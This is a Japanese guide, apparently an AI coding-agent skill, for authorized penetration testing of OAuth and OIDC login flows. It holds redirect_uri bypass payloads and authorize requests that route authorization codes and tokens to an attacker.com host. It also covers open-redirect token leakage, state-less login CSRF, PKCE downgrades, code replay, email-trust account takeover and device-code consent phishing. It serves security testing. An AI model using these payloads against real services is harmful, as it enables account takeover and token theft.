attacking-oauth-oidc について
OAuth と OIDC の認証フローを評価する、許可を得たセキュリティテスター向けのスキルです。リダイレクト、コールバック保護、コード処理、トークン検証を順に確認し、アカウント乗っ取りやトークン漏えいのリスクを調べます。
主な機能
- 01redirect_uri とオープンリダイレクトの確認
- 02state、nonce、PKCE のテスト
- 03コード再利用とクライアント結び付けの確認
- 04インプリシットフローと応答パラメーターの混同の調査
- 05トークンの用途と id_token クレームの検証
活用シーン
- 01フェデレーションログインのコールバックで CSRF 防御をテスト
- 02SPA やモバイルフローの PKCE を評価
- 03スコープ昇格と同意なしの再認可を確認
- 04アカウント連携時のメール検証を確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-oauth-oidcインストール後、Claude Code で/attacking-oauth-oidcを入力して読み込まれたか確認します。
詳細
OAuth と OIDC への攻撃
OAuth は委任プロトコルであり、そのセキュリティはブラウザーが転送する redirect_uri、state、scope の各パラメーターに全面的に依存しています。そのため、問題の多くは、認可サーバーまたはクライアントがそのいずれかを少し過信することで発生します。狙いはトークンであり、攻撃対象はフローです。認可コードを運ぶリダイレクトを追えば、認証情報を追うことになります。
テストを許可されているシステムに対してのみ実施してください。
使用する場面
- ログインページに「Google / Microsoft / GitHub / Apple でサインイン」などの連携 ID ボタンがある
/authorize、/oauth/token、/oauth2/authorize、またはcode=、state=、#access_token=を含むコールバック URL が見つかる- リクエストに
response_type、redirect_uri、client_id、scope、nonceが含まれる /.well-known/openid-configurationで OIDC ディスカバリードキュメントが提供されている- アプリが認可コードをトークンにサーバー側で交換する、または
id_tokenを受け入れてセッションを確立する - ファーストパーティの SPA またはモバイルアプリが Authorization Code with PKCE フローを実行する
使用しない場面
- 発行済みトークン自体の偽造、解読、改ざん(アルゴリズム混同、
kidインジェクション、弱い HMAC シークレット、none)—attacking-jwtを使用してください - 認証フローとは無関係な一般的なウェブアプリケーションのテスト —
testing-web-applicationsを使用してください - 有効なアクセストークンをすでに所持している場合のリソース API —
testing-apisを使用してください - 特に Entra/Azure AD のテナント同意、アプリ登録の悪用、マルチテナントアプリへの攻撃 —
attacking-entra-idを使用してください - 人を対象とした攻撃 — 実際のユーザーに対する同意フィッシングや不正な許可のキャンペーンを大規模に実施すること —
performing-social-engineeringを使用してください
サーバーを列挙する:まずディスカバリードキュメントを確認する
OIDC ディスカバリードキュメントには、すべてのエンドポイント、対応フロー、キーセットなど、攻撃の全体像が示されています。
curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
# https://target/.well-known/oauth-authorization-server
# https://login.target/<tenant>/v2.0/.well-known/openid-configuration
# https://target/auth/realms/<realm>/.well-known/openid-configuration (Keycloak)
特に次のフィールドを確認してください。
authorization_endpoint、token_endpoint、userinfo_endpoint— フローjwks_uri—id_tokenを検証するキー(attacking-jwtにつながります)response_types_supported—tokenまたはid_token token(インプリシットフロー)が許可されていますか?codeだけが選択肢ですか、それともダウングレードできますか?grant_types_supported—implicit、password、またはurn:ietf:params:oauth:grant-type:device_codeが含まれていますか?code_challenge_methods_supported— この項目がなければ、PKCE が強制されていない可能性がありますscopes_supported、claims_supported— 権限昇格の選択肢です
クライアントバンドルも取得してください。SPA の JavaScript には、ほとんどの場合、client_id、設定済みの redirect_uri、スコープの一覧がインラインで含まれています。
redirect_uri の検証:核心となる問題
認可サーバーがどこに認可コードを送信するかがすべてを左右します。コードを自分が管理するホストに送信させられれば、フローは破綻します。検証の弱点を調べてください。許容範囲が広すぎる登録や、完全一致ではなく前方一致/部分文字列一致を使っていることが、典型的な問題です。
Registered: https://app.example.com/callback
Path traversal / appended path (prefix match, not exact)
https://app.example.com/callback/../../attacker
https://app.example.com/callback/anything (allowed if it startswith-checks)
https://app.example.com/callback.attacker.com/
Subdomain / domain-suffix weakness (regex or "endswith" match)
https://attacker.app.example.com/callback
https://app.example.com.attacker.com/callback
https://appXexample.com/callback (unescaped . in regex)
Parser confusion — validator and browser disagree on the host
https://attacker.com\@app.example.com/callback
https://[email protected]/callback
https://attacker.com%[email protected]/
https://attacker.com#@app.example.com/
https://attacker.com%23.app.example.com/
Scheme / userinfo / whitespace
http://app.example.com/callback (downgrade to plaintext)
https://app.example.com%00.attacker.com/callback
///attacker.com/callback //attacker.com/callback
localhost is frequently allow-listed with no port check
http://localhost:1337/callback http://127.0.0.1/callback
http://localhost.attacker.com/callback
認可コードを自分のホストに送信させる認可リクエストの例:
GET /authorize?response_type=code
&client_id=REAL_CLIENT_ID
&redirect_uri=https://attacker.com/callback
&scope=openid%20email%20profile
&state=xyz HTTP/1.1
Host: login.target
attacker.com に認可コードが返された場合は、そのコードを交換します(または被害者のブラウザーからコードを送信させます)。また、redirect_uri が読み取られるすべての箇所もテストしてください。認可リクエスト、トークン交換、クライアントごとに保存されたデフォルト値です。サーバーによっては /authorize では厳密に検証する一方、/token では緩く検証する場合や、その逆の場合があるためです。
情報流出経路としてのオープンリダイレクト
redirect_uri を実際のドメイン上に維持する必要がある場合、そのドメイン上のオープンリダイレクトが情報流出経路になります。サーバーは許可リストに登録されたホストに認可コードを送り、そのホストが 302 リダイレクトでコードをクエリ文字列に含めて、またはフラグメント全体をあなたに転送します。
redirect_uri=https://app.example.com/redirect?next=https://attacker.com/
# code lands on app.example.com, its open redirect forwards it (and often the
# ?code=... query, via Referer or an explicit passthrough) to attacker.com
許可リストに登録されたオリジン上にある next=、returnUrl=、RelayState=、continue= の各パラメーターを追跡してください。自分のドメインで終わる「完全一致の redirect_uri」であっても安全ではない理由はここにあります。
state:コールバックでの CSRF
state は OAuth の CSRF トークンです。これが存在しない、固定されている、予測可能である、または戻り時に検証されない場合、攻撃者は自身の認可コードを被害者のセッションに結び付けます。これはログイン CSRF/アカウント注入攻撃です。
1. Attacker starts the flow, captures their own code but does NOT complete it.
2. Attacker delivers the callback to the victim:
https://app.example.com/callback?code=ATTACKER_CODE (no/ignored state)
3. Victim's browser completes it; victim's account is now linked to the
attacker's identity provider account -> attacker logs in as the victim.
テスト:state を完全に削除し、以前のフローの state を再利用し、返された state の文字を 1 つ変更します。それでもコールバックが完了する場合、検証されていません。OIDC では nonce も同様に扱います。id_token のリプレイを防ぐためのものです。
PKCE:欠如とダウングレード
PKCE はコードを要求したクライアントに結び付け、コードの傍受を防ぎます。これを省略するパブリッククライアント(SPA、モバイル)は、リダイレクト、リファラー、または傍受するアプリからコードを取得した攻撃者にさらされます。
# Authorize with a challenge:
GET /authorize?...&code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256
Checks:
- Omit code_challenge entirely -> does /token still return a token? (not enforced)
- Send code_challenge_method=plain with challenge == verifier (downgrade)
- Exchange the code with the WRONG code_verifier -> is it accepted? (not verified)
- Reuse the same verifier across two flows
あるフローで取得したコードを、対応する検証子なしで交換できるなら、PKCE は形だけのものです。
Implicit Flow:トークン漏えい
response_type=token/id_token token はトークンを URL のフラグメントで返します。これにより、ブラウザーの履歴、サブリソース読み込み時の Referer ヘッダー、コールバックページ上のあらゆる JavaScript を通じて漏えいします。
GET /authorize?response_type=token&client_id=...&redirect_uri=https://app.example.com/cb
# -> 302 to https://app.example.com/cb#access_token=ya29...&token_type=Bearer
コードフローが想定される場合でも、Implicit Flow を強制します(response_type=token)。さらに redirect_uri またはオープンリダイレクトの脆弱性と組み合わせます。フラグメントも一緒に引き継がれ、トークンが持ち出されます。Implicit Flow へのダウングレードは重大度「高」として報告することを推奨します。フラグメントが URL バー上のベアラー資格情報に変わるためです。
コードの注入、リプレイ、クライアント間の置換
適切に実装されていれば、認可コードは 1 回のみ使用でき、クライアントに結び付けられています。この 3 つの性質をすべてテストします。
- リプレイ — 同じ
codeを/tokenで 2 回交換します。2 回目の試行は失敗しなければなりません。2 回目にトークンが取得できる場合、コードは無効化されていません。 - 注入 — 自身のセッションで取得したコードを被害者のコールバックに注入する(上記の
stateなしの攻撃)か、漏えいした被害者のコードを自身のセッションに注入して被害者としてログインします。 - クライアント間の置換 —
client_id=A用に発行されたコードを取得し、client_id=Bを指定して/tokenで交換します(両方のアプリが同じ認可サーバー上にある場合)。サーバーがコードを発行元のクライアントに結び付けていなければ、価値の低いアプリ用に発行されたコードで、価値の高いアプリのトークンを取得できます。
POST /oauth/token HTTP/1.1
Host: login.target
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=VICTIM_OR_OTHER_CLIENT_CODE
&redirect_uri=https://app.example.com/callback
&client_id=DIFFERENT_CLIENT_ID&client_secret=...
スコープの昇格と同意の回避
認可リクエストにスコープを追加し、新たな同意プロンプトなしでサーバーがそれらを許可するか確認します。特に再認可では、多くのサーバーがすでに認可済みのクライアントについて同意を省略し、新しいスコープを黙って追加します。
# Request more than the app normally asks for:
scope=openid email profile offline_access admin read:all
確認事項:offline_access(有効期間の長いリフレッシュトークン)は、黙って許可されますか?クライアントが要求していないスコープを注入した場合、それらは尊重されますか?返されたトークンの実際のスコープは、同意された範囲を超えていますか?ダウングレード攻撃にも注意が必要です。最初の認可では狭いスコープを指定し、その後、サイレントな再認証で範囲を広げます。
response_mode/response_type の混同
レスポンスパラメーターを混在させると、検証の対象外となる場所にトークンを移動させたり、フローをダウングレードしたりできます。
response_mode=form_post -> token delivered in a POST body (bypasses fragment
handling and some referer protections)
response_mode=web_message -> token posted via postMessage; test the target-origin
check for a wildcard or missing origin validation
response_type=code%20token / code%20id_token -> hybrid flow; a code AND a
front-channel token, doubling the leak surface
access_token と id_token の混同
access_token はリソース API を呼び出すためのものです。id_token はクライアントに対する認証の証明です。バックエンドはこれらを頻繁に混同します。
- リソースサーバーが**
id_token**をベアラートークンとして受け入れると(どちらも JWT であるため)、クライアントが提示すべきではないトークンを信頼してしまいます。 - クライアントが適切に検証された
id_tokenではなく、access_token(不透明な文字列、または緩く検証された文字列)からセッションを認証する場合、別のオーディエンス向けに発行されたトークンを与えられる可能性があります。 - トークンエンドポイントは両方を返します。それぞれをすべての利用先で試し、本来受け入れられるべきでない場所で受け入れられるものがないか確認します。
id_token の検証不備
クライアントは、id_token の署名を jwks_uri に対して検証し、さらにクレームも検証する必要があります。クレームのチェック漏れは、アカウント乗っ取りにつながります。
issがチェックされない — 別の(攻撃者が制御する)発行者のトークンが受け入れられます。audがチェックされない — 同じ IdP(Google、Microsoft)上の別のクライアント向けに発行されたトークンが、ここで再利用されます。これは、マルチテナント/ソーシャル IdP で典型的な乗っ取りです。- マルチオーディエンスのトークンで
azp(認可された当事者)が無視される。 exp/nonceが適用されない — 古いトークンや取得済みトークンが再利用されます。
署名に関する攻撃 — alg:none、alg の HS256/RS256 混同、kid インジェクション、攻撃者の鍵を指す jku/x5u — については attacking-jwt を参照してください。ディスカバリーから jwks_uri を取得して、そちらに渡してください。
「X でサインイン」時のメールアドレスへの信頼を悪用したアカウント乗っ取り
フェデレーションで最も悪用されやすい不備は、メールアドレスクレームを、検証済みの一意キーとして信頼し、アカウントをリンクまたは作成するクライアントです。
- プロバイダーが
email_verifiedなしでemailを返す、またはクライアントがemail_verifiedを無視する — IdP で被害者のメールアドレスを使って未検証のまま登録すると、クライアントがあなたを被害者のアカウントにリンクします。 - クライアントがメールアドレスで既存のローカルアカウントを照合し、フェデレーションする — 制限の緩いプロバイダーで同じメールアドレスを登録することで、事前乗っ取りやアカウント乗っ取りが可能になります。
- 複数の IdP ボタン(「Google」と「GitHub」)がどちらもメールアドレスをキーにしている — 被害者と一致する未検証のメールアドレスを制御できるプロバイダーからログインします。
アカウントをリンクする前に、実際に返される userinfo / id_token のクレームを確認し、email_verified が存在し、適用されているかを必ず調べてください。
デバイスコードフローと同意フィッシング(不正な認可グラント)
デバイス認可グラント(urn:ietf:params:oauth:grant-type:device_code)と通常の同意画面は、フィッシングに悪用される可能性があります。攻撃者がフローを開始して user_code / 検証 URL を取得し、被害者に承認させると、偽のログインページを使わずにトークンを攻撃者へ渡せます。
POST /oauth/device/code client_id=REAL_CLIENT_ID&scope=openid%20offline_access
# -> device_code, user_code, verification_uri
# Victim visits the REAL verification_uri, enters the code, approves ->
POST /oauth/token grant_type=...device_code&device_code=...&client_id=...
# attacker polls and receives access + refresh tokens
被害者には本物のプロバイダーの同意ページが表示されます。それこそが、この手法を効果的にしている要因です。実際のユーザーを対象に大規模に実行する場合は、performing-social-engineering のエンゲージメントにあたります。Entra 固有の不正な同意グラント(悪意のあるマルチテナントアプリ)については、attacking-entra-id を使用してください。
退けるべきもっともらしい説明
- 「redirect_uri は許可リストと照合して検証しています。」 完全一致ですか、それともプレフィックス一致ですか?パストラバーサル、サブドメインのサフィックス、
@/%2F/#を使ったパーサーの抜け道、そして許可リストにあるホスト上のオープンリダイレクターをテストしてください。 - 「インプリシットフローではなく認可コードフローを使っているので、安全です。」 コードは漏えい、再利用、クライアント間での悪用が可能です。また、
response_type=tokenがまだ機能するかも確認してください。 - 「state は省略可能で、SDK が CSRF を処理します。」 削除して確認してください。検証済みの
stateなしで処理を完了できるコールバックは、アカウントへの不正な紐付けを許します。 - 「PKCE は設定済みです。」 設定されていることと、強制されていることは別です。チャレンジを省略し、誤った検証子を送り、
plainへのダウングレードを試してください。 - 「Google の JWT なので信頼できます。」 どの
audに対して信頼できるのでしょうか?オーディエンスをチェックしなければ、別のクライアント向けに発行されたトークンによって乗っ取りが可能です。 - 「メールアドレスでユーザーを照合しています。メールアドレスは一意です。」
email_verifiedが存在し、適用されている場合に限ります。未検証のメールアドレスは攻撃者が選べます。 - 「同意画面は本物のプロバイダーのものなので、正当なものです。」 デバイスコードや不正な認可グラントを使ったフィッシングは、まさにその本物の画面を利用します。
ATT&CK のカバレッジ
secskills-core/ttp-index.json から生成されます。このファイルを編集してから、
python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、
ID が現在の ATT&CK リリースと一致していることを再確認してください。
認証情報アクセス(TA0006)
- T1528 アプリケーションアクセストークンの窃取 —
testing-apis、exploiting-cloud-platforms、attacking-entra-idも参照してください - T1606 Web 認証情報の偽造 —
attacking-jwtも参照してください
これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。
参考資料
attacking-jwt—id_token/access_tokenを入手した後の偽造、クラッキング、検証回避(アルゴリズムの混同、kid、jku、弱いシークレット)testing-web-applications— ログインフローを取り巻くアプリケーションtesting-apis— トークンを取得した後のリソースサーバーへのアクセスattacking-entra-id— Entra/Azure テナントの同意、アプリ登録、マルチテナント環境における不正な許可の悪用reporting-security-findings— redirect_uri、state、アカウント乗っ取りの脆弱性に関する重大度- Burp Suite(authorize/token リクエスト用の Repeater、リダイレクトチェーン全体を確認するためのブラウザープロキシ);OAuth に特化した Burp 拡張機能 — フロントチャネルのトークンをデコードする EsPReSSO と JWT エディター;フラグメントや、Burp の HTTP 履歴では見落とされるクロスオリジンの
postMessageトラフィックをキャプチャする mitmproxy